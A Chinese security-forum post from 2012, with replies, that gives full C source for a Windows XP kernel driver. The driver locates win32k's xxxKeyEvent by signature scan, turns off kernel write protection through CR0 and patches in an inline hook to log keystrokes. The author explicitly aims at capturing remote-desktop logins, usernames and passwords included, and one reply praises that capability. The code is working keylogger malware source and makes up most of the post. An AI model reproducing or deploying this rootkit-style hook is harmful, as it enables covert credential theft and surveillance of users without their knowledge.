首页
社区
课程
招聘
[旧帖] [原创]HOOK xxxKeyEvent 进行键盘记录 0.00雪花
2012-9-1 10:04 3221

[旧帖] [原创]HOOK xxxKeyEvent 进行键盘记录 0.00雪花

2012-9-1 10:04
3221
xxxKeyEvent 是 win32k 里面处理键盘消息的,不仅仅是你按下物理键盘产生的消息,远程桌面登录,SendInput 等模拟的键盘消息也可以获取。这样就可以记录远程桌面上的按键消息了,包含用户登录远程桌面时输入的用户名 密码等,比较强大。
      首先要找到这个函数的地址,我使用的是特征码搜索的方式
选择的特征码:windows xp sp3 的

UCHAR *keycode = "\x83\x88\x24\x0f\x00\x00\x01\x8b\xda\x81\xe3\x00\x80\x00\x00\x85\xdb\x0f\x95\xc1";
/*
win32k!xxxKeyEvent+0x1f
bf847eda 8388240f000001  or      dword ptr [eax+0F24h],1
bf847ee1 8bda            mov     ebx,edx
bf847ee3 81e300800000    and     ebx,8000h
bf847ee9 85db            test    ebx,ebx
bf847eeb 0f95c1          setne   cl
*/

思路先找到win32k的基址,然后找到函数,但是驱动加载的时候在system进程空间 win32k不可读,方法是切换到另一个进程空间,代码:
//循环找到合适的进程空间
	for (hProcess = 0;hProcess<5000;hProcess ++)
	{
		if(PsLookupProcessByProcessId(hProcess,&pProcess)== STATUS_SUCCESS)
		{
			KdPrint(("process id : %d \n",hProcess));
			KeStackAttachProcess(pProcess,&kapc);
			if(!MmIsAddressValid(win32kBase))
				continue;
                         //xxxxxxx......

然后就是关闭写保护改写函数了。
完整的代码
#include <ntifs.h>
#include <ntddk.h>
#include <Ntstrsafe.h>


typedef struct _RTL_PROCESS_MODULE_INFORMATION {
    HANDLE Section;                 // Not filled in
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation,
		SystemProcessorInformation,             // obsolete...delete
		SystemPerformanceInformation,
		SystemTimeOfDayInformation,
		SystemPathInformation,
		SystemProcessInformation,
		SystemCallCountInformation,
		SystemDeviceInformation,
		SystemProcessorPerformanceInformation,
		SystemFlagsInformation,
		SystemCallTimeInformation,
		SystemModuleInformation,
		SystemLocksInformation,
		SystemStackTraceInformation,
		SystemPagedPoolInformation,
		SystemNonPagedPoolInformation,
		SystemHandleInformation,
		SystemObjectInformation,
		SystemPageFileInformation,
		SystemVdmInstemulInformation,
		SystemVdmBopInformation,
		SystemFileCacheInformation,
		SystemPoolTagInformation,
		SystemInterruptInformation,
		SystemDpcBehaviorInformation,
		SystemFullMemoryInformation,
		SystemLoadGdiDriverInformation,
		SystemUnloadGdiDriverInformation,
		SystemTimeAdjustmentInformation,
		SystemSummaryMemoryInformation,
		SystemMirrorMemoryInformation,
		SystemPerformanceTraceInformation,
		SystemObsolete0,
		SystemExceptionInformation,
		SystemCrashDumpStateInformation,
		SystemKernelDebuggerInformation,
		SystemContextSwitchInformation,
		SystemRegistryQuotaInformation,
		SystemExtendServiceTableInformation,
		SystemPrioritySeperation,
		SystemVerifierAddDriverInformation,
		SystemVerifierRemoveDriverInformation,
		SystemProcessorIdleInformation,
		SystemLegacyDriverInformation,
		SystemCurrentTimeZoneInformation,
		SystemLookasideInformation,
		SystemTimeSlipNotification,
		SystemSessionCreate,
		SystemSessionDetach,
		SystemSessionInformation,
		SystemRangeStartInformation,
		SystemVerifierInformation,
		SystemVerifierThunkExtend,
		SystemSessionProcessInformation,
		SystemLoadGdiDriverInSystemSpace,
		SystemNumaProcessorMap,
		SystemPrefetcherInformation,
		SystemExtendedProcessInformation,
		SystemRecommendedSharedDataAlignment,
		SystemComPlusPackage,
		SystemNumaAvailableMemory,
		SystemProcessorPowerInformation,
		SystemEmulationBasicInformation,
		SystemEmulationProcessorInformation,
		SystemExtendedHandleInformation,
		SystemLostDelayedWriteInformation,
		SystemBigPoolInformation,
		SystemSessionPoolTagInformation,
		SystemSessionMappedViewInformation,
		SystemHotpatchInformation,
		SystemObjectSecurityMode,
		SystemWatchdogTimerHandler,
		SystemWatchdogTimerInformation,
		SystemLogicalProcessorInformation,
		SystemWow64SharedInformation,
		SystemRegisterFirmwareTableInformationHandler,
		SystemFirmwareTableInformation,
		SystemModuleInformationEx,
		SystemVerifierTriageInformation,
		SystemSuperfetchInformation,
		SystemMemoryListInformation,
		SystemFileCacheInformationEx,
		MaxSystemInfoClass  // MaxSystemInfoClass should always be the last enum
} SYSTEM_INFORMATION_CLASS;


NTSTATUS
__stdcall
ZwQuerySystemInformation (
						  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
						  OUT PVOID SystemInformation,
						  IN ULONG SystemInformationLength,
						  OUT PULONG ReturnLength OPTIONAL
						  );

NTSTATUS MyEnumKernelModule(IN UCHAR *str,OUT ULONG *moduleBase,OUT ULONG *moduleSize)
{
	PRTL_PROCESS_MODULES pRet = NULL;
	ULONG nRetSize = 0;
	ULONG i;
	NTSTATUS status = STATUS_NOT_FOUND;
	ANSI_STRING moduleName;
	ANSI_STRING moduleName2;
	
	RtlInitAnsiString(&moduleName,str);
	
	status = ZwQuerySystemInformation(SystemModuleInformation, pRet,
							 0, &nRetSize );
	if ( STATUS_INFO_LENGTH_MISMATCH == status )
	{
		pRet = (PRTL_PROCESS_MODULES)ExAllocatePoolWithTag(NonPagedPool,nRetSize,'s1n');
		status = ZwQuerySystemInformation( SystemModuleInformation, pRet,
			nRetSize, &nRetSize ); 
	}
	for ( i = 0 ;i<pRet->NumberOfModules;i++)
	{
		//KdPrint(("%s %X\n",pRet->Modules[i].FullPathName,pRet->Modules[i].ImageBase));
		RtlInitAnsiString(&moduleName2,pRet->Modules[i].FullPathName);
		if(RtlCompareString(&moduleName,&moduleName2,TRUE) == 0)
		{
			*moduleBase = (ULONG)pRet->Modules[i].ImageBase;
			*moduleSize = pRet->Modules[i].ImageSize;
			status = STATUS_SUCCESS;
			break;
		}
	}
	if(pRet) ExFreePoolWithTag(pRet,'s1n');
	return status;
}

int memfind(const UCHAR *mem, /*要查找内存块的起始地址*/
			const UCHAR *str, /*要在其中查找的字符串或者xxx*/
			int sizem, /*内存块的大小*/
			int sizes/*要查找的字符串的大小*/
			)   
{   
	int   da,i,j;
	da = sizes;   
	for (i = 0; i < sizem; i++)   
	{   
		for (j = 0; j < da; j ++)   
			if (mem[i+j] != str[j])	break;   
			if (j == da) return i;   /*找到了 返回其在内存中的偏移*/
	}   
	return -1;   
}


VOID
unloadME (
		  __in struct _DRIVER_OBJECT *DriverObject
		  )
{
	///....
	KdPrint(("bye ,,,,"));
}


VOID MyxxxKeyEvent(USHORT    usFlaggedVk,
				   USHORT    wScanCode,
				   DWORD     time,
				   ULONG_PTR ExtraInfo,
							  ULONG     bInjected)
{
	//
	if(!(usFlaggedVk & 0xFF00))//键被按下。。
		KdPrint(("--Vk:%4x  %4x\n",usFlaggedVk,wScanCode));
}

VOID __cdecl HOOK_xxxKeyEvent(\
							  DWORD     fake,
							  USHORT    usFlaggedVk,
							  USHORT    wScanCode,
							  DWORD     time,
							  ULONG_PTR ExtraInfo,
							  ULONG     bInjected)
{
	__asm pushad
	__asm pushfd
	MyxxxKeyEvent(usFlaggedVk,wScanCode,time,ExtraInfo,bInjected);
	__asm popfd
	__asm popad
}

ULONG xxxKeyEventBase;
ULONG RestoreCode = 0xec8b55ff
/*
bf847ebb 8bff            mov     edi,edi
bf847ebd 55              push    ebp
bf847ebe 8bec            mov     ebp,esp
*/

VOID __declspec(naked) myDetourFunc()
{
	__asm{
		call HOOK_xxxKeyEvent
		push ebp
		mov  ebp,esp
		mov  eax,DWORD ptr[xxxKeyEventBase]
		add  eax,5
		jmp  eax
	}
}
//特征码
UCHAR *keycode = "\x83\x88\x24\x0f\x00\x00\x01\x8b\xda\x81\xe3\x00\x80\x00\x00\x85\xdb\x0f\x95\xc1";
/*
win32k!xxxKeyEvent+0x1f
bf847eda 8388240f000001  or      dword ptr [eax+0F24h],1
bf847ee1 8bda            mov     ebx,edx
bf847ee3 81e300800000    and     ebx,8000h
bf847ee9 85db            test    ebx,ebx
bf847eeb 0f95c1          setne   cl
*/

KAPC_STATE kapc;

NTSTATUS 
DriverEntry( 
			__in struct _DRIVER_OBJECT  *DriverObject,
			__in PUNICODE_STRING  RegistryPath 
			)
{
	ULONG win32kBase;
	ULONG win32kSize;
	NTSTATUS status;
	ULONG jmpcode;
	ULONG hProcess;
	PEPROCESS pProcess; 
	
	status = MyEnumKernelModule("\\SystemRoot\\System32\\win32k.sys",&win32kBase,&win32kSize);
	if(status != STATUS_SUCCESS)
	{
		KdPrint(("not found ...."));
		goto ExitMe;
	}
	KdPrint(("%u %u \n",win32kBase,win32kSize));
	for (hProcess = 0;hProcess<5000;hProcess ++)
	{
		if(PsLookupProcessByProcessId(hProcess,&pProcess)== STATUS_SUCCESS)
		{
			KdPrint(("process id : %d \n",hProcess));
			KeStackAttachProcess(pProcess,&kapc);
			if(!MmIsAddressValid(win32kBase))
				continue;
			KdPrint(("it is a vaild process !! %x\n",*(ULONG *)win32kBase));
			xxxKeyEventBase = (ULONG)win32kBase + memfind(win32kBase,keycode,win32kSize,20) - 0x1f;
			KdPrint(("xxxKeyEventBase:%x\n",xxxKeyEventBase));
			jmpcode = (ULONG)myDetourFunc - xxxKeyEventBase - 5;
		 	__asm
		 	{
		 		push eax
		 		mov eax, CR0
		 		and eax, 0FFFEFFFFh
		 		mov CR0, eax
		 		pop eax
		   	 }
			InterlockedExchange((LONG *)xxxKeyEventBase,0xe9);
	     	InterlockedExchange((LONG *)(xxxKeyEventBase + 1),jmpcode);
		 	__asm
		 	{
		 		push eax
		 		mov eax, CR0
		 		or eax, NOT 0FFFEFFFFh
		 		mov CR0, eax
		 		pop eax
			}
			KeUnstackDetachProcess(&kapc);
			break;
		}
	}
ExitMe:
	DriverObject->DriverUnload = unloadME;
	return STATUS_SUCCESS;
}



---------------------------------------------------------------------------------------
求个邀请码

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞3
打赏
分享
最新回复 (4)
雪    币: 446
活跃值: (186)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
heiheiabcd 4 2012-9-1 20:16
2
0
都用驱动了,还用这种方式,通用性不好,直接过滤驱动不就行了
雪    币: 11
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
SinCoder 2012-9-2 15:26
3
0
之前挂接到键盘驱动上面 只能获得物理键盘的输入 远程桌面什么就不行了。。。
雪    币: 11
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
SinCoder 2012-9-2 15:27
4
0
直接挂接到键盘驱动上面 只能获得物理键盘的输入 远程桌面什么就不行了。。。
雪    币: 73
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
暗夜有魅 2013-1-31 14:39
5
0
嗯嗯,好这个方法不错,远程桌面记录到才是真正的神器
游客
登录 | 注册 方可回帖
返回